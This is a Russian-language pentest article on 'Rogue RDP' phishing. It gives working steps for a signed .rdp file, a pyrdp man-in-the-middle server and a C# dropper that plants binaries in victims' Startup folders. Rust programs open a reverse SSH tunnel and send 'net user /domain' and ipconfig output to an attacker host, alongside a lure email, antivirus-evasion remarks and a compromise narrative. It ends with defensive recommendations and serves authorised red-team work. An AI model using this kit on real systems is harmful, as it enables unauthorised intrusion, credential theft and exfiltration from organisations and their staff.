Содержание статьи
Pentest Award
Этот текст получил первое место на премии Pentest Award 2024 в категории «Ловись, рыбка», посвященной фишингу. Это соревнование ежегодно проводится компанией Awilix.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Концепция LOLBAS заключается в использовании предустановленных в системе средств средств и приложений с цифровой подписью Microsoft для достижений цели при пентесте или в хакерской атаке. Этот метод уже не однократно позволял злоумышленникам обходить распространенные средства обнаружения и блокировки вредоносных программ.
Сразу отмечу, что все заслуги здесь принадлежат Майку Фелчу из Dark Optics. Файл RDP содержит настройки для подключения к удаленному рабочему столу, и поскольку большинство корпоративных сред используют RDP для коллективной работы, в Microsoft добавили множество функций для совместного использования файлов и принтеров, доступа к содержимому буфера обмена, устройствам захвата аудио и видео, смарт‑картам и даже подключаемым устройствам. Именно эти особенности я и буду использовать в качестве вектора получения первичного доступа.
Для реализации Rogue RDP нужно создать машину на Windows с белым IP адресом. Далее установить WSL (Windows Sub System For Linux) и перезапустить систему:
wsl --install --enable-wsl1
В оболочке WSL нужно установить python3
, certbot
и git
:
apt update
apt install python3 python3-pip git libaugeas0
pip install certbot
Теперь настроим записи DNS и получим для них сертификат SSL. Покупаем домен и создаем A-запись для нашего сервера.
С помощью Certbot получаем SSL-сертификат Let's Encrypt для нашего домена (мы будем использовать его для подписания файла RDP и получения большей визуальной легитимности), для этого используем команду в оболочке WSL:
certbot certonly --cert-name malrdp -d <your.domain.com> --register unsafely-without-email
Закрытый и открытый ключи сохранятся в файловой системе WSL:
/etc/letsencrypt/live/YOUR_CERT_NAME/
Теперь преобразуем их в формат PFX с помощью OpenSSL:
openssl pkcs12 -inkey /etc/letsencrypt/live/malrdp/privkey.pem -in /etc/letsencrypt/live/malrdp/fullchain.pem -export -out malrdp.pfx
Следующий шаг — установить этот сертификат в магазин сертификатов Windows. Для этого кликаем правой кнопкой мыши на файле PFX, жмем Install PFX и следуем инструкциям. Когда сертификат установлен, получаем его отпечаток и можем использовать его для подписи файла RDP.
Копируем отпечаток сертификата: certmgr.msc → Personal → Certificates → двойной клик по нашему сертификату → Details → Thumbprint. Он нам понадобится для следующего шага.
Создаем файл RDP, который будем использовать при рассылке, и вставляем в него следующее:
screen mode id:i:1
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
winposstr:s:0,1,1904,23,3840,1142
compression:i:1
keyboardhook:i:2
audiocapturemode:i:0
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:0
allow desktop composition:i:0
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:<YOUR_DOMAIN_COM>:443
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
redirectwebauthn:i:1
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskdcproxy:i:0
kdcproxyname:s:
enablerdsaadauth:i:0
redirectlocation:i:0
drivestoredirect:s:*
Теперь подписываем этот файл:
rdpsign.exe /sha256 YOUR_CERTIFICATE_THUMBPRINT .\<filename>.rdp
Проверяем, что он действительно подписан.
Создаем нового пользователя для подключения наших жертв:
net user tsuser StrongP4ssw0rd /addnet localgroup administrators tsuser /add
Я придерживаюсь мнения, что фраза «красота в простоте» идеально применима к фишингу, так как мы всегда хотим уменьшить количество действий, которые жертва должна выполнить для успешного выполнения задуманного сценария. Ввод пароля при поключении по RDP создаст дополнительные трудности в подключении человека к нашей машине.
Чтобы упростить задачу пользователю, применим утилиту pyrdp, которая действует как прокси‑сервер MiTM и позволит жертве автоматически пройти аутентифификацию.
Снова открываем оболочку WSL и устанавливаем pyrdp:
pipx install pyrdp-mitm
Перед запуском необходимо убедиться, что NLA (Network Level Authentication) отключена для нашего RDP-сервера. Открываем Windows Settings → Remote Desktop → Advanced Settings и убираем флажок Require computers to use Network Level Authentication to connect.
Второй способ отключения — с помощью gpedit.
. Открываем Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security и отключаем настройку Require user authentication for remote connections by using Network level authentication.
Теперь все готово к запуску pyrdp (публичный и закрытый ключ сертификата необходимы, чтобы жертва не получила никаких предупреждений SSL):
pyrdp-mitm.py 127.0.0.1:3389 -u tsuser -p StrongP4ssw0rd --listen 443 -c /etc/letsencrypt/live/malrdp/fullchain.pem -k/etc/letsencrypt/live/malrdp/privkey.pem
Проверим процесс подключения с запущенным pyrdp и увидим ошибку.
Она фиксится добавлением кастомного статуса в следующий скрипт:
...pyrdp-mitm/lib/python3.10/site packages/pyrdp/enum/windows.py
Теперь при запуске файла .rdp, мы не получим предупреждения SSL, и соединение пройдет без необходимости вводить учетные данные. Также видим, что у сеанса RDP есть доступ к файловой системе хоста.
На этом этапе у нас есть только файл RDP, который автоматически подключится к нашему серверу без необходимости вводить пароль и будет предоставлять файловую систему хоста жертвы нашему серверу. Есть несколько способов использовать этот уровень доступа, лично я предпочитаю добавлять нашу программу в папку Startup и ждать выполнения при следующем входе в систему.
Давай напишем на на C# простую программу и назовем MalRDP.
. При запуске будет она будет подключаться к файловой системе хоста жертвы (в частности, к диску C), искать любую папку Startup, к которой у нее есть доступ, и копировать в нее два простых и безобидных скрипта, которые сами по себе не представляют никакой угрозы и не детектируются антивирусом. Также наша программа будет копировать несколько совершенно легитимных файлов (LOLbins), о которых я расскажу дальше.
Код программы:
using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Runtime.InteropServices;using System.Threading.Tasks;using System.Windows.Forms;namespace MalRDP{ class Program { [DllImport("wtsapi32.dll", SetLastError = true)] static extern bool WTSLogoffSession(IntPtr hServer, int sessionId, bool bWait); [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); const int SW_HIDE = 0; const int WTS_CURRENT_SESSION = -1; static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero; static void CopyDirectory(string sourceDir, string destDir) { // Get the subdirectories for the specified directory. DirectoryInfo dir = new DirectoryInfo(sourceDir); if (!dir.Exists) { throw new DirectoryNotFoundException( "Source directory does not exist or could not be found: " + sourceDir); } // If the destination directory doesn't exist, create it. if (!Directory.Exists(destDir)) { Directory.CreateDirectory(destDir); } // Get the files in the directory and copy them to the new location. FileInfo[] files = dir.GetFiles(); foreach (FileInfo file in files) { string tempPath = Path.Combine(destDir, file.Name); file.CopyTo(tempPath, false); Console.WriteLine($"Copied {file.FullName} to {tempPath}"); } // Copy subdirectories and their contents recursively. DirectoryInfo[] dirs = dir.GetDirectories(); foreach (DirectoryInfo subdir in dirs) { string tempPath = Path.Combine(destDir, subdir.Name); CopyDirectory(subdir.FullName, tempPath); } } static void Main(string[] args) { var handle = GetConsoleWindow(); ShowWindow(handle, SW_HIDE); int retry = 0; string[] user_directories = {}; while (retry < 10) { try { user_directories =Directory.GetDirectories(@"\\tsclient\C\Users"); break; } catch { } System.Threading.Thread.Sleep(500); retry++; } string dropperInPath = @"C:\Netlogon\sshishing2.exe"; string sshingInPath = @"C:\Netlogon\sshishing.exe"; string sshInDirPath = @"C:\Netlogon\OpenSSH-Win64"; string sshKeyInPath = @"C:\Netlogon\rsa"; foreach (string dir in user_directories) { if (dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("Public") || dir.EndsWith("All Users")) continue; try { string dropperOutPath = $@"{dir}\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\sshishing2.exe"; string sshingOutPath = $@"{dir}\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\sshishing.exe"; string sshOutDirPath = $@"{dir}\Pictures\OpenSSH Win64"; string sshKeyOutPath = $@"{dir}\Pictures\rsa"; if (File.Exists(dropperInPath) &&!File.Exists(dropperOutPath)) { File.Copy(dropperInPath, dropperOutPath); } if (File.Exists(sshingInPath) &&!File.Exists(sshingOutPath)) { File.Copy(sshingInPath, sshingOutPath); } if (File.Exists(sshKeyInPath) &&!File.Exists(sshKeyOutPath)) { File.Copy(sshKeyInPath, sshKeyOutPath); } if (Directory.Exists(sshInDirPath) && !Directory.Exists(sshOutDirPath)) { CopyDirectory(sshInDirPath, sshOutDirPath); } } catch (Exception e) { } } WTSLogoffSession(WTS_CURRENT_SERVER_HANDLE,WTS_CURRENT_SESSION, false); } }}
Создадим папку C:\
, и скопируем в нее скомпилированную программу и остальные файлы. Также создадим файл tsuser.
, который просто запускает MalRDP.
:
Start "" "C:\\Netlogon\\MalRDP.exe"`
Теперь установим tsuser.
в качестве скрипта входа для tsuser. Открываем Computer Management → System Tools → Local Users and Groups → Users, дважды кликаем по tsuser → Profile и пропишем tsuser.
в Logon Script field.
Когда жертва подключится к нашему RDP-серверу, на нем запустится наша программа, которая сможет взаимодействовать с файловой системой жертвы, потому что корпорация Microsoft предоставила отличные возможности коду, работающему в среде RDP-сервера.
Запущенные отсюда программы могут взаимодействовать с подключенными клиентами с помощью перенаправления устройств. Это позволяет получить доступ к локальным дискам, принтерам и прочим ресурсам через удаленный рабочий стол. Серверы могут перечислять файловую систему подключенного клиента, используя пути к папкам, вроде \\
(диск C), или даже смонтированные сетевые файловые ресурсы с помощью такого пути:
\\tsclient\<drive_of_mapped_share>\
SSHishing
После удачного фишинга, как показывает статистика, у нас есть контроль над компьютером жертвы, однако сам по себе он не представляет большого интереса в рамках пентеста. Это лишь дверь во внутреннюю инфраструктуру заказчика. Дальше в ход идут инструменты бокового перемещения (pivoting), применение которых теперь тоже хорошо детектируется средствами защиты.
SSH предлагает некоторые захватывающие возможности в рамках нетрадиционного вектора начального доступа. С его помощью мы и получим желанный туннель реверс‑прокси в целевую сеть, в обход средств защиты.
Так как SSH на старых версиях Windows не предустановлен по умолчанию, принесем его с собой и положим в папку Pictures
, способом описанным ранее. Тащить с собой все долго, и нам хватит лишь двух бинарей: libcrypto.
; ssh.
. Скачать портативную версию можно на GitHub.
На VPS, используемых для атаки, создадим нового пользователя pivoting, и сгенерируем ему ключ SSH. Копируем публичный ключ в authorized_keys
этой учетной записи, а приватный кладем в папку C:\
, на сервере Rogue RDP.
Теперь создадим две безобидные программы: sshishing.
, sshishing2.
, которые выполнят оставшуюся часть работы после перезагрузки системы жертвы.
#![windows_subsystem = "windows"]std:: process:: os::windows::process::use { Command, CommandExt}; fn main() { let _output = Command::new("powershell") .args(&[ "-Command", &format!( "$currentUser = $env:USERNAME; Invoke-Expression "C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -N -R 0 -i C:\\Users\\$currentUser\\Pictures\\rsa - o StrictHostKeyChecking=no -o 'PermitLocalCommand=yes' -o'LocalCommand=C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe -i \\\\<attacker_ip>\\key.pem sshisher@1.1.1.1'"" ), ]) .creation_flags(0x08000000) // Set creation flags .output() .expect("Failed");}
Программа создаст реверс‑прокси туннель в целевую сеть. Параметр -R
инструктирует SSH выбрать доступный порт на удаленной машине (это необходимо, чтобы иметь возможность поддерживать несколько одновременных успешных соединений). Параметр -o
поможет избежать предупреждения о неизвестном хосте SSH для подключения, а -o
выполнит указанную команду на хосте жертвы после успешного подключения. В нашем случае попытается обратиться к VPS атакующих и забрать файл (файла может и не быть, а жертву будет ждать Responder, с помощью которого мы попытаемся получить хеш жертвы, так как по статистике 20% компаний подвержены утечке Net-NTLMv2 при обращении к внешним ресурсам). Интересно, что ssh.
может порождать cmd.
и выполнять команды, даже если это запрещено с помощью GPO.
Вторая программа выполнит приятный трюк, который поможет собрать информацию о целевой сети. Она выполнит команду и перенаправит вывод в SSH для записи в файл на удаленной машине:
#![windows_subsystem = "windows"]std:: process:: os::windows::process::use { Command, CommandExt};fn main() { let _output = Command::new("powershell.exe") .args(&[ "-Command", &format!( "$currentUser = $env:USERNAME; Invoke-Expression "net user /domain | C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -i C:\\Users\\$currentUser\\Pictures\\rsa -o StrictHostKeyChecking=no 'cat >> info2.txt'"" ), ]) .creation_flags(0x08000000) .output() .expect("Failed"); let _output = Command::new("powershell.exe") .args(&[ "-Command", &format!( "$currentUser = $env:USERNAME; Invoke-Expression "ipconfig | C:\\Users\\$currentUser\\Pictures\\OpenSSH-Win64\\ssh.exe pivoting@<attacker_ip> -i C:\\Users\\$currentUser\\Pictures\\rsa -o StrictHostKeyChecking=no 'cat >> info.txt'"" ), ]) .creation_flags(0x08000000) .output() .expect("Failed");}
К слову об уклонении от средств защиты и безобидности нагрузки, VirusTotal показывает 3/71 детекта, а простая программа, выполняющая whoami — 2/71. При этом мы даже не пытались скрыть наши намерения. При желании можно свести детекты к нулю.
Положим обе программы в папку C:\
на сервере Rogue RDP.
www
Подробнее с возможностями SSH для пентестера, можно ознакомиться в следующих статьях: «The SOCKS We Have at Home», SSHishing – Abusing Shortcut Files and the Windows SSH Client for Initial Access.
Применение на практике
Описанный метод фишинга показал высокую результативность на реальных проектах. Ниже — образец письма:
Уважаемые сотрудники,
Для обеспечения безопасного доступа к корпоративным ресурсам и почтовому серверу мы тестируем новую систему удаленного доступа по протоколу RDP. Просим вас проверить работоспособность подключения по RDP и убедиться, что вы можете успешно получить доступ к необходимым ресурсам. Инструкция по использованию RDP прилагается во вложениях к письму.
В случае возникновения трудностей при подключении обратитесь в отдел информационной безопасности для получения дальнейшей помощи.
Данное письмо содержит конфиденциальную информацию. Запрещается пересылать данное сообщение третьим лицам без согласования.
Спасибо за понимание и сотрудничество.
С уважением,
Старший инженер отдела информационной безопасности.
А.Вилликс
Когда получатель письма подключился к RDP-серверу и перезагрузил свой ПК, на VPS появился новый туннель реверс‑прокси, информация о целевой сети и пользователях AD.
К моему удивлению тестируемая компания входила в те самые 20%, и Responder поймал хеш пользователя.
ssh -L 9000:127.0.0.1:39591 root@<pivoting_vps_ip>
Прокинув нужный удаленный порт VPS этой командой, я смог применять необходимые инструменты через proxychains.
В результате сканирования сети, нашелся старый почтовый сервис, доступный только изнутри. Разумеется, про него забыли администраторы, и он оказался уязвим к ProxyNotShell (CVE-2022-41040 и CVE-2022-41082). С помощью утекшего хеша NTLMv2, я получил учетные данные, необходимые для работы эксплоита.
Сдампив SAM
, SYSTEM
и SECURITY
, я извлек несколько хешей, но они не подошли к учетным записям привилегированных пользователей AD.
Имея права локального администратора, я получил сохраненные пароли из браузера, среди которых был пароль администратора AD. А это уже полная компрометация инфраструктуры заказчика.
Рекомендации
Что сделать, чтобы избежать подобного? Вот основные советы.
- Настроить групповые политики (GPO) для предотвращения редиректа устройств при подключении к удаленному рабочему столу (RDP).
- Заблокировать расширения .rdp для электронной почты.
- Заблокировать подключения RDP, выходящие за периметр корпоративной сети.
- Обучить сотрудников распознавать фишинг.
- Настроить регулярный мониторинг и аудит сетевой активности для обнаружения и реагирования на подозрительное поведение, связанное с атаками на утечку NTLM.
- Ограничить исходящий NTLM трафик на внешние ресурсы, за пределами корпоративной сети.
- Ограничить исходящий SSH трафик на внешние ресурсы, за пределами корпоративной сети.
- Применить правила для выявления подозрительного поведения при запуске
ssh.
с параметрами:exe PermitLocalCommand
иLocalCommand
.